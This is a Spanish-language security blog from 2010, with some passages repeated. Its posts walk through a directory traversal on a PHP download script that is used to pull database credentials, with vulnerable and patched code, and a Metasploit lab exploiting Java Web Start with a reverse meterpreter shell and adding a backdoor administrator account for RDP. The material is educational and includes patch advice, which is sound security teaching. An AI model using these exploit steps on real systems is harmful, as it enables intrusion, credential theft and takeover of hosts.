Bueno despues de mas de un mes sin postear, por motivos de la facultad y otras cosas vuelvo.
Este fin de semana se viene la JOINEA - Jornade de Integración, Extensión y Actualización de Estudiantes de Sistemas - el cual se realiza en Apostoles Misiones organizado por los chicos de la UNaM.
Hubo un llamado de papers, envie uno y quedo seleccionado, sobre Segridad Web: SQL injection y Directory Transversal, pero por motivos de tiempo en la expocicion lo reduje solamente a SQL Injection ya que se haria interminable.
Hay buen nivel de las expociciones, asi que seguro voy a ir a aprender mucho y conocer gente nueva el cual son los objetivos principales. Aqui les dejo el cronograma del evento.
Mañana a las 12 salimos de la Costanera, ya que el centro de estudiantes de la FA.CE.NA organizo el viaje para cualquiera a un costo accesible que incluye viaje, hospedaje y comida, en donde se lleno un colectivo con capacidad para 45 personas.
Aqui les dejo mi presentacion,
Saludos
miércoles, 18 de agosto de 2010
lunes, 21 de junio de 2010
Directory Transversal en descarga de Archivo
Me encontre con una web la cual nesesitaba descargar un fichero que me resultaba de interes, donde la direccion de descarga era similar a esto:
http://www.sitio.com/descarga/download.php?file=archivo.extension, por lo que me propuse verificar si dicho downloader tenia alguna validación, para provocar un Directory Transversal.
Lo que realize fue la peticion de este modo http://www.sitio.com/descarga/download.php?file=download.php, para descargarme el archivo download.php
y heureca :)

Al abrir el archivo download.php podemos empezar a verificar las fallas de la validaciones:
en la primera linea, podemos ver que toma el nombre del archivo por la variable $_GET['file'] y lo guarda en $filename, luego en la linea 4 lo que hace esta funcion es tomar todo el nombre del archivo y solo obtener su extension por ejemplo, si el archivo a descargar es archivo.pdf la variable $file_extension va a contener pdf, aca fue lo que me parecio algo muy bueno cuando estaba leyendo el codigo, pero solo lo usa para colocar el tipo de MIME(linea 12), lo cual esta muy bien pero tambien ubiera filtrado con ellos una black-list para que no se pueda descargar entensiones peligrosas.
En la linea 31 mostramos el nombre del archivo que le aparecera al usuario cuadno descarga y en la linea 33 el Content-Lenght es el tamaño del archivo, ah y la linea 29 es el MIME del que hablamos anteriormente. :)
Como la descarga se realizo con un php podemos llegar a pensar que podemos descargar cualquier php de la web, entonces buscaremos descargar el index que es donde puede haber datos interesantes de conexion de base de datos :)
http://www.sitio.com/descarga/download.php?file=../index.php

Al abrir el archivo index.php vemos esta informacion un poco mas interesante que la anterior

Nos descargamos el archivo class_DB.php, y dentro de ese archivo vemos una linea mucho mas interesante
Y como piensan que sigue esto? ........... Si correcto, nos descargamos el archivo conectar.php

Bien ahora queda buscar el phpmyadmin, colocando www.sitio.com/phpmyadmin de la forma facil, y si no encontramos ahi podemos largar algun bruteador. O tambien que es la que mas me gusta por el cliente de mysql, primero comprobamos si el puerto esta abierto hacia el publico con Nmap :)

y ahora nos conectamos

Creo que queda entendida la peligrosidad de lo que se expone a no validar estas entradas asi como todas las entradas que se le da al usuario, siempre hay que verificarlas. Desde una simple bajada de archivo pudimos ingresar a sus datos, romper la confidencialidad de ellos, podriamos romper su integridad y hasta la disponibilidad de su sitio Web.
Para completar, al mismo script, le coloque seguridad, para que no se pueda descargar alguna extension peligrosa como php, asp, inc, etc. y para que no se pueda escalar directorios.
La segunda linea usamos la funciona basename, que logra que si el usuario coloca por ejemplo /carpeta/carpeta2/archivo.pdf, nos devilvera archivo.pdf, eliminado toda la ruta anterior y con la ayuda de la linea 3 ponemos una carpeta llamada descargas, la cual en ella contendra todos los archivos para descargas (valga la redundancia), y donde el usuario nunca podra escaparse de ella.
Asi por ejemplo si el usuario intenta descargar de esta forma
www.sitio.com.ar/download.php?file=/etc/passwd la variable $filename quedara con el valor passwd, y concatenando con la carpeta descargas la variable $ruta contendra descargas/passwd
En el bloque de seguridad, la primer linea verifica con una expresion regular que si existe esas extensiones, te direcciones al index (se puede colocar tantas como guste en esa lista).
Eso es todo
Saludos
http://www.sitio.com/descarga/download.php?file=archivo.extension, por lo que me propuse verificar si dicho downloader tenia alguna validación, para provocar un Directory Transversal.
Lo que realize fue la peticion de este modo http://www.sitio.com/descarga/download.php?file=download.php, para descargarme el archivo download.php
y heureca :)

Al abrir el archivo download.php podemos empezar a verificar las fallas de la validaciones:
$filename = $_GET['file'];
// addition by Jorg Weske
$file_extension = strtolower(substr(strrchr($filename,"."),1));
if ( ! file_exists( $filename ) )
{
echo "not file";
exit;
};
switch( $file_extension )
{
case "pdf": $ctype="application/pdf"; break;
case "exe": $ctype="application/octet-stream"; break;
case "zip": $ctype="application/zip"; break;
case "doc": $ctype="application/msword"; break;
case "xls": $ctype="application/vnd.ms-excel"; break;
case "ppt": $ctype="application/vnd.ms-powerpoint"; break;
case "gif": $ctype="image/gif"; break;
case "png": $ctype="image/png"; break;
case "jpeg":
case "jpg": $ctype="image/jpg"; break;
default: $ctype="application/force-download";
header("Pragma: public"); // required
header("Expires: 0");
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
header("Cache-Control: private",false); // required for certain browsers
header("Content-Type: $ctype");
// change, added quotes to allow spaces in filenames, by Rajkumar Singh
header("Content-Disposition: attachment; filename=\"".basename($filename)."\";" );
header("Content-Transfer-Encoding: binary");
header("Content-Length: ".filesize($filename));
readfile("$filename");
?>
en la primera linea, podemos ver que toma el nombre del archivo por la variable $_GET['file'] y lo guarda en $filename, luego en la linea 4 lo que hace esta funcion es tomar todo el nombre del archivo y solo obtener su extension por ejemplo, si el archivo a descargar es archivo.pdf la variable $file_extension va a contener pdf, aca fue lo que me parecio algo muy bueno cuando estaba leyendo el codigo, pero solo lo usa para colocar el tipo de MIME(linea 12), lo cual esta muy bien pero tambien ubiera filtrado con ellos una black-list para que no se pueda descargar entensiones peligrosas.
En la linea 31 mostramos el nombre del archivo que le aparecera al usuario cuadno descarga y en la linea 33 el Content-Lenght es el tamaño del archivo, ah y la linea 29 es el MIME del que hablamos anteriormente. :)
Como la descarga se realizo con un php podemos llegar a pensar que podemos descargar cualquier php de la web, entonces buscaremos descargar el index que es donde puede haber datos interesantes de conexion de base de datos :)
http://www.sitio.com/descarga/download.php?file=../index.php

Al abrir el archivo index.php vemos esta informacion un poco mas interesante que la anterior

Nos descargamos el archivo class_DB.php, y dentro de ese archivo vemos una linea mucho mas interesante
include("conectar.php");
Y como piensan que sigue esto? ........... Si correcto, nos descargamos el archivo conectar.php

Bien ahora queda buscar el phpmyadmin, colocando www.sitio.com/phpmyadmin de la forma facil, y si no encontramos ahi podemos largar algun bruteador. O tambien que es la que mas me gusta por el cliente de mysql, primero comprobamos si el puerto esta abierto hacia el publico con Nmap :)

y ahora nos conectamos

Creo que queda entendida la peligrosidad de lo que se expone a no validar estas entradas asi como todas las entradas que se le da al usuario, siempre hay que verificarlas. Desde una simple bajada de archivo pudimos ingresar a sus datos, romper la confidencialidad de ellos, podriamos romper su integridad y hasta la disponibilidad de su sitio Web.
Para completar, al mismo script, le coloque seguridad, para que no se pueda descargar alguna extension peligrosa como php, asp, inc, etc. y para que no se pueda escalar directorios.
$index="http://".$_SERVER['SERVER_NAME']."/index.php";
$filename = basename($_GET['file']);
$ruta="descargas/".$filename;
// addition by Jorg Weske
$file_extension = strtolower(substr(strrchr($filename,"."),1));
#------------Bloque Seguridad ------------------
if(preg_match('/(php|asp|ini|inc|bak)/',$file_extension)){
header("Location:".$index);
}
elseif( $filename == "" )
{
header("Location:".$index);
}
elseif( ! file_exists( $ruta ) )
{
header("Location:".$index);
};
#-----------Fin Bloque Seguridad--------------
switch($file_extension )
{
case "pdf": $ctype="application/pdf"; break;
case "exe": $ctype="application/octet-stream"; break;
case "zip": $ctype="application/zip"; break;
case "doc": $ctype="application/msword"; break;
case "xls": $ctype="application/vnd.ms-excel"; break;
case "ppt": $ctype="application/vnd.ms-powerpoint"; break;
case "gif": $ctype="image/gif"; break;
case "png": $ctype="image/png"; break;
case "jpeg":
case "jpg": $ctype="image/jpg"; break;
default: $ctype="application/force-download";
}
header("Pragma: public"); // required
header("Expires: 0");
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
header("Cache-Control: private",false); // required for certain browsers
header("Content-Type: $ctype");
header("Content-Disposition: attachment; filename=\"".$filename."\";" );#nombre del archivo en la descarga
header("Content-Transfer-Encoding: binary");
header("Content-Length: ".filesize($ruta));
readfile("$ruta");
?>
La segunda linea usamos la funciona basename, que logra que si el usuario coloca por ejemplo /carpeta/carpeta2/archivo.pdf, nos devilvera archivo.pdf, eliminado toda la ruta anterior y con la ayuda de la linea 3 ponemos una carpeta llamada descargas, la cual en ella contendra todos los archivos para descargas (valga la redundancia), y donde el usuario nunca podra escaparse de ella.
Asi por ejemplo si el usuario intenta descargar de esta forma
www.sitio.com.ar/download.php?file=/etc/passwd la variable $filename quedara con el valor passwd, y concatenando con la carpeta descargas la variable $ruta contendra descargas/passwd
En el bloque de seguridad, la primer linea verifica con una expresion regular que si existe esas extensiones, te direcciones al index (se puede colocar tantas como guste en esa lista).
Eso es todo
Saludos
Etiquetas:
directory_transversal,
Hacking,
php,
Programacion,
Seguridad Informatica
miércoles, 16 de junio de 2010
Seguridad en Apache
Bueno hace mucho que no andaba haciendo nada por el blog, por motivos de la facultad y otras cuestiones personales :).
Tengo que dar una clase en la Facultad Fa.C.E.N.A, en la catedra Redes de Altas Prestaciones en la cual soy adscripto, y como tema elegi Apache.
Tengo que dar una clase en la Facultad Fa.C.E.N.A, en la catedra Redes de Altas Prestaciones en la cual soy adscripto, y como tema elegi Apache.
Tambien trabajo con Lampp, por cuestiones de que esta catedra esta en el ultimo año y ya estamos todos con el tema de la Tesis, y algunos estan tirando hacia PHP, y este paquete nos trae todo empaquetado MySQL, PHP y Apache, aunque lo mejor hubiera sido compilarlo a Apache desde 0 descargando de la pagina oficial.
Bueno la información que elegi creo que esta buena para empezar a toquetear las funcionalidades basicas y no tan basicas de Apache, les dejo mas abajo el material.

Saludos a todos y Feliz Dia del Padre :)
Etiquetas:
Apache,
Seguridad,
Seguridad Informatica
miércoles, 12 de mayo de 2010
Laboratorio Metasploit java Web Start + Escritorio Remoto Getgui
Otro mas laboratorio sobre Metasploit. Creo que este es uno de los exploit mas peligrosos con respecto a los anteriores que mostre, ya que lo estube probando y no llega a ser detectado por los AV.
La falla reside en el Web Start de Java, el binario llamada javaws.exe, el problema es que la validacion de URL es minima por lo cual se puede realizar una inyeccion de codigo arbitrarios.
Esta falla fueron descubiertas paralelamente por Tavis Ormandy y Ruben Santamarta
la línea de comandos "-XXaltjvm "y curiosamente también "-J-XXaltjvm "(vea el interruptor -J en javaws.exe). Esto indica a Java que cargue una bibliotec JavaVM alternativa (jvm.dll o libjvm.so) desde la ruta deseada. Fin del juego. Podemos establecer-XXaltjvm = \ \ IP\maligno, de esta manera javaw.exe cargará nuestra jvm.dll maligna. Adios ASLR, DEP .. . ", dijo Santamarta en su comunicado.
Un buen documento explicado sobre la falla es en este link
Para que funcione este exploit desde Metasploit Framework, tenemos que estar en una maquina como root y no tener ningun servidor SMB corriendo, el otro requerimiento es que en la maquina victima tiene que estar el WebClient prendido. La forma de verificar si esta corriendo el servicio es
Para demostrar la falla utulizaremos el popular metasploit, y el exploit cargado llamado java_ws_arginject_altjvm. Abajo se muestra toda la secuencia de comandos para cargar el exploit mas el payloads, cosas ya viste anteriormente en los anteriores publicaciones sobre metasploit :)
Ahora solo queda que la victima ingrese a nuestro servidor iniciado por el MSF con la pagina HTML maligna.


Lo que haremos es editar el archivo getgui.rb
#nano /opt/metasploit3/msf3/scripts/meterpreter/getgui.rb
Nos dirijimos a la linea 113, y cambiamos este trozo de codigo
Por este otro
Una vez que hayamos cambiado, ahora nos vamos al nuestra sessions del meterpreter y ejecutamos.
Lo que hace esto es crear un usuario hacker con password 123456 al grupo "Administradores" y que pueda accederse atravez de escritorio remoto dicho usuario "Usuarios de Escritorios remoto".
Ahora para ver si todo funciona, vamos a una shell y con el programa rdesktop nos conectamos. ( Si no lo tenes y estas en debian o distros similares aptitude install rdesktop ).
$rdesktop 192.168.56.101
Eso es todo, Saludos
REFERENCIAS
http://blog.metasploit.com/2010/04/java-web-start-argument-injection.html
http://seclists.org/fulldisclosure/2010/Apr/119
http://www.pentester.es/2010/05/explotando-java-web-start.html
http://www.pentester.es/2010/05/vulnerabilidad-en-java-web-start.html
http://threatpost.com/es_la/blogs/nueva-falla-en-java-afecta-todas-la-versiones-de-windows-040910
La falla reside en el Web Start de Java, el binario llamada javaws.exe, el problema es que la validacion de URL es minima por lo cual se puede realizar una inyeccion de codigo arbitrarios.
Esta falla fueron descubiertas paralelamente por Tavis Ormandy y Ruben Santamarta
la línea de comandos "-XXaltjvm "y curiosamente también "-J-XXaltjvm "(vea el interruptor -J en javaws.exe). Esto indica a Java que cargue una bibliotec JavaVM alternativa (jvm.dll o libjvm.so) desde la ruta deseada. Fin del juego. Podemos establecer-XXaltjvm = \ \ IP\maligno, de esta manera javaw.exe cargará nuestra jvm.dll maligna. Adios ASLR, DEP .. . ", dijo Santamarta en su comunicado.
Un buen documento explicado sobre la falla es en este link
Para que funcione este exploit desde Metasploit Framework, tenemos que estar en una maquina como root y no tener ningun servidor SMB corriendo, el otro requerimiento es que en la maquina victima tiene que estar el WebClient prendido. La forma de verificar si esta corriendo el servicio es
C:\>sc query webclient | find "STATE"
STATE : 4 RUNNING
Prueba Metasploit
Para demostrar la falla utulizaremos el popular metasploit, y el exploit cargado llamado java_ws_arginject_altjvm. Abajo se muestra toda la secuencia de comandos para cargar el exploit mas el payloads, cosas ya viste anteriormente en los anteriores publicaciones sobre metasploit :)
#msfconsole
_ _
_ | | (_)_
____ ____| |_ ____ ___ ____ | | ___ _| |_
| \ / _ ) _)/ _ |/___) _ \| |/ _ \| | _)
| | | ( (/ /| |_( ( | |___ | | | | | |_| | | |__
|_|_|_|\____)\___)_||_(___/| ||_/|_|\___/|_|\___)
|_|
=[ metasploit v3.4.0-dev [core:3.4 api:1.0]
+ -- --=[ 320 exploits - 99 auxiliary
+ -- --=[ 217 payloads - 20 encoders - 6 nops
=[ svn r9306 updated today (2010.05.15)
msf > use exploit/windows/browser/java_ws_arginject_altjvm
msf exploit(java_ws_arginject_altjvm) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(java_ws_arginject_altjvm) > set SRVHOST 192.168.56.1
SRVHOST => 192.168.56.1
msf exploit(java_ws_arginject_altjvm) > set LHOST 192.168.56.1
LHOST => 192.168.56.1
msf exploit(java_ws_arginject_altjvm) > set LPORT 3333
LPORT => 3333
msf exploit(java_ws_arginject_altjvm) >
[*] Started reverse handler on 192.168.56.1:3333
[*] Using URL: http://192.168.56.1:80/
[*] Server started.
Ahora solo queda que la victima ingrese a nuestro servidor iniciado por el MSF con la pagina HTML maligna.


La maquina Virtual es un XP SP 3 y la Version de Java es:
C:\Documents and Settings\victima 2>java -version
java version "1.6.0_18"
Java(TM) SE Runtime Environment (build 1.6.0_18-b07)
Java HotSpot(TM) Client VM (build 16.0-b13, mixed mode, sharing)
Se aconseja actualizar Java a una version mas reciente, a partir de la 1.6.0_20, es donde se encuentra el parche, ya que es es considerada de criticidad maxima a esta vulnerabilidad.
De todos los exploit que he probado sobre browser hasta el momento, este es uno de los mas peligrosos, ya que es independiente del browser, y los AV hasta el momento ( por lo que eh notado ), no tienen alguna firma, aunque me paresca raro..
ESCRITORIO REMOTO
Cuando obtenemos una session de meterpreter, tenemos muchas funcionalidades, como migrarnos de procesos, keyloger, screenshot, capturar las llaves, etc.
La opcion que vamos a ver, es un script que permite abrir un Terminal Server en la maquina victima, pero para que nosotros podamos usarlos sin algun problema tendremos que modificar el codigo para que coloque un usuario en el grupo Administradores en las version español de windows.
El script se llama GETGUI, para modificar nos vamos a donde estan los archivos de script en mi caso:
/opt/metasploit3/msf3/scripts/meterpreter
En esta ruta estan lo script del meterpreter.
Como veran, el getgui nos da algunas opciones donde una de ellas es el lenguaje, con el parametro -l le pasamos el tipo pero solo hay en Ingles y Aleman.
C:\Documents and Settings\victima 2>java -version
java version "1.6.0_18"
Java(TM) SE Runtime Environment (build 1.6.0_18-b07)
Java HotSpot(TM) Client VM (build 16.0-b13, mixed mode, sharing)
Se aconseja actualizar Java a una version mas reciente, a partir de la 1.6.0_20, es donde se encuentra el parche, ya que es es considerada de criticidad maxima a esta vulnerabilidad.
De todos los exploit que he probado sobre browser hasta el momento, este es uno de los mas peligrosos, ya que es independiente del browser, y los AV hasta el momento ( por lo que eh notado ), no tienen alguna firma, aunque me paresca raro..
ESCRITORIO REMOTO
Cuando obtenemos una session de meterpreter, tenemos muchas funcionalidades, como migrarnos de procesos, keyloger, screenshot, capturar las llaves, etc.
La opcion que vamos a ver, es un script que permite abrir un Terminal Server en la maquina victima, pero para que nosotros podamos usarlos sin algun problema tendremos que modificar el codigo para que coloque un usuario en el grupo Administradores en las version español de windows.
El script se llama GETGUI, para modificar nos vamos a donde estan los archivos de script en mi caso:
/opt/metasploit3/msf3/scripts/meterpreter
En esta ruta estan lo script del meterpreter.
Como veran, el getgui nos da algunas opciones donde una de ellas es el lenguaje, con el parametro -l le pasamos el tipo pero solo hay en Ingles y Aleman.
meterpreter > run getgui -h
Windows Remote Desktop Enabler Meterpreter Script
Usage: getgui -u-p
Or: getgui -e
OPTIONS:
-e Enable RDP only.
-fForward RDP Connection.
-h Help menu.
-lThe language switch
Possible Options: 'de_DE', 'en_EN' / default is: 'en_EN'
-pThe Password of the user to add.
-uThe Username of the user to add.
Lo que haremos es editar el archivo getgui.rb
#nano /opt/metasploit3/msf3/scripts/meterpreter/getgui.rb
Nos dirijimos a la linea 113, y cambiamos este trozo de codigo
case lang
when "en_EN"
rdu = "Remote Desktop Users"
admin = "Administrators"
when "de_DE"
rdu = "Remotedesktopbenutzer"
admin = "Administratoren"
end
Por este otro
case lang
when "en_EN"
rdu = "Remote Desktop Users"
admin = "Administrators"
when "de_DE"
rdu = "Remotedesktopbenutzer"
admin = "Administratoren"
when "es_ES"
rdu = "Usuarios de escritorio remoto"
admin = "Administradores"
end
Una vez que hayamos cambiado, ahora nos vamos al nuestra sessions del meterpreter y ejecutamos.
meterpreter > run getgui -u hacker -p 123456 -l es_ES
[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
[*] Carlos Perez carlos_perez@darkoperator.com
[*] Language set by user to: 'es_ES'
[*] Enabling Remote Desktop
[*] RDP is already enabled
[*] Setting Terminal Services service startup mode
[*] Terminal Services service is already set to auto
[*] Opening port in local firewall if necessary
[*] Setting user account for logon
[*] Adding User: hacker with Password: 123456
[*] Adding User: hacker to local group 'Usuarios de escritorio remoto'
[*] Adding User: hacker to local group 'Administradores'
[*] You can now login with the created user
Lo que hace esto es crear un usuario hacker con password 123456 al grupo "Administradores" y que pueda accederse atravez de escritorio remoto dicho usuario "Usuarios de Escritorios remoto".
Ahora para ver si todo funciona, vamos a una shell y con el programa rdesktop nos conectamos. ( Si no lo tenes y estas en debian o distros similares aptitude install rdesktop ).
$rdesktop 192.168.56.101
Eso es todo, Saludos
REFERENCIAS
http://blog.metasploit.com/2010/04/java-web-start-argument-injection.html
http://seclists.org/fulldisclosure/2010/Apr/119
http://www.pentester.es/2010/05/explotando-java-web-start.html
http://www.pentester.es/2010/05/vulnerabilidad-en-java-web-start.html
http://threatpost.com/es_la/blogs/nueva-falla-en-java-afecta-todas-la-versiones-de-windows-040910
Etiquetas:
Hacking,
metasploit,
Reverse,
Seguridad Informatica
Suscribirse a:
Entradas (Atom)


